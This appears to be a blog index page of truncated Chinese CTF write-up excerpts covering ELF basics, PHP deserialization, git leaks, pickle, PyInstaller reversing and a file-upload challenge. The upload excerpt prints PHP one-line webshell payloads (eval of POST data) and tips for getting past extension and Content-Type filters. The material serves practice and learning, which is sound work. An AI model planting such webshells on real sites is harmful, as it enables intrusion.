pwn入门-ELF文件概述程序装载与虚拟内存
pwn入门-ELF文件概述程序装载与虚拟内存参考程序加载 - CTF Wiki和https://www.bilibili.com/video/BV1Uv411j7fr?spm_id_from=333.788.videopod.episodes&vd_source=d76ad0aadca055336653cd966075f064&p=3 pwn概述exploit:用于攻击的脚本与方案 payload:攻击载荷,是的目标进程被劫持控制流的数据 shellcode:调用攻击目标的she的代码 攻击流程: C语言执行流程C语言代码到可执行文件流程: 目标文件未经过链接,虽然知道自己任务但是不知道如何去做,比如put为何就是输入,需要将多个机器码目标文件链接成一个可执行文件 广义:文件中的数据是可执行代码的文件.out、.exe、.sh、.py 狭义:文件中的数据是机器码的文件.out、.exe、.dll、.so Windows:PE(Portable...
攻防世界38-FlatScience-CTFWeb
攻防世界38-FlatScience-Web攻防世界38-FlatScience-CTFWeb-CSDN博客
攻防世界37-unseping-CTFWeb
攻防世界37-unseping-CTFWeb1234567891011121314151617181920212223242526272829303132333435363738394041<?phphighlight_file(__FILE__);class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); ...
攻防世界36-fakebook-CTFWeb
攻防世界36-fakebook-CTFWeb没发现什么,随便join发现blog有过滤,dirsearch扫描一下,发现robots.txt,和flag.php(不能直接看),发现源码泄露,下载得源码: 1234567891011121314151617181920212223242526272829303132333435363738<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url){ $ch =...
攻防世界35-easyupload-CTFWeb
攻防世界35-easyupload-CTFWeb通过各种上传发现,过滤了php后缀和内容中有php的文件 有这几种方式上传一句话木马 123<script language="php">eval($_POST[1]);</script><?php eval($_POST['cmd']);?><?= eval($_POST['cmd']);?> 那么如果过滤php的话只能用最后一种方式 上传时也要注意Content-Type: text/jpg 上传名称后缀为.phtml .phps .php5...
0xgame RE wp
0xgame REXor::Random wp参考官解 看到一大堆,别慌,冷静分析 主函数大概可以划分成三部分:先检查了flag的格式和长度,之后⽣成随机数 v21 异或加密⼀边检查。注意密钥从 v21和 重点说⼀下中间随机数的部分。 我们如果仔细看了这些代码,就知道中间只是个异或,那么密文在哪,我们沿着算法网上找就能找到v13,不过还不能直接用(当然c语言可以直接用这个),这是小端存储的也就是说0c,4f,….,存储的,建议先去了解 那么问题就是中间的v21了,他是个(伪)随机数,只要设定了种子,每次出来的结果都是一样的(当然受到版本的影响) 12345678910inited = init_random(); std::string::basic_string(v20, v14); v6 = check((__int64)v20); std::string::~string(v20); if ( v6 ) { srand(0x1919810u); inited = rand(); } v21 =...
NewStar PangBai 过家家(3)
NewStar PangBai 过家家(3)给了一个exe,peid查看 64位,然后显示PyInstaller,查了下,好像是要解包 解包参考 Python解包及反编译: PyInstaller Extractor+uncompyle6_pyinstaller解包-CSDN博客 Python 反编译:pyinstxtractor工具和uncompyle6库的使用-CSDN博客 用的pyinstxtractor.py 解出来pyc文件,然后需要反编译,用的unemp6去发编译,失败了,字节码什么太高,版本3.9 尝试各种方法,最终使用pycdc去反编译 pycdc教程: pycdc工具编译使用(纯小白篇,大师傅自动略过) - 吾爱破解 - 52pojie.cn 解除py代码 但是好像还是不全,可以用pycdas,看机器码 小白有点看不懂,直接问GPT,原来是异或那部分没反编译成功 写脚本吧: 12345678910enc = [ 40, 9, 22, 52, 15, 56, 66, 71, 111, 121, 90, 33, 18, 40, 3, 13, ...
MoeCTF-Web
MoeCTF-WebPetStore 题解(pickle反序列化)审计源码,小白没发现什么,看了提示是pickle序列化与反序列化,查看Dockerfile,flag在环境变量里 pickle模块提供了一种简单且强大的方法来实现对象的序列化和反序列化,使得开发者能够方便地将复杂的Python对象转化为字节流并在需要时重新还原。 基本使用 12345678import pickledata = {'name': 'Alice', 'age': 25}serialized_data = pickle.dumps(data)deserialized_data =...
NewStar PangBai 过家家(2)
NewStar PangBai 过家家(2)dirsearch扫描到git泄露,githack找半天没找到,本文参考官解,只做参考使用 PangBai 过家家(2) | WriteUp - NewStar CTF 2024 最后用了githacker 没有有用的东西,看看Stash 找到后门 我们之前githack没找到有效信息的原因: Githacker的功能比较强大 Stash的作用: 有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。 一些常见的 Stash 命令如: git stash 保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 git...
NewStar web 臭皮踩踩背
NewStar web 臭皮踩踩背参考臭皮踩踩背 | WriteUp - NewStar CTF 2024,这里只是作为我个人做题记录使用,附加一点理解 题目需要用 nc...